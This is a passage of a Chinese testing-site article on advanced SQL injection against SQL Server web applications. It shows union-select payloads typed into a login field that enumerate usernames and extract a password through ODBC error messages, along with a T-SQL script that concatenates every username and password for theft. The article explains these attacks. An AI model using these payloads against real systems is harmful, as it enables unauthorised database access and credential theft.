• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

软件测试开发技术SQL Server应用程序中的高级SQL注入

发布: 2009-10-14 09:55 | 作者: 不详 | 来源: 领测软件测试网采编 | 查看: 13次 | 进入软件测试论坛讨论

领测软件测试网

 Username:' union select min(username),1,1,1 from users where username>'a'—

  这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.

  /process_login.asp, line 35

  因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

  Username:' union select min(username),1,1,1 from users where username>'admin'—

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

  /process_login.asp, line 35

  一旦攻击者确定了用户名,他就可以开始收集密码:

  Username:' union select password,1,1,1 from users where username='admin'—

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

  /process_login.asp, line 35

  一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:

  begin declare @ret varchar(8000)

  set @ret=':'

  select @ret=@ret+' '+username+'/'+password from users where

  username>@ret

  select @ret as ret into foo

  end

 

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备2023014753号-2
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网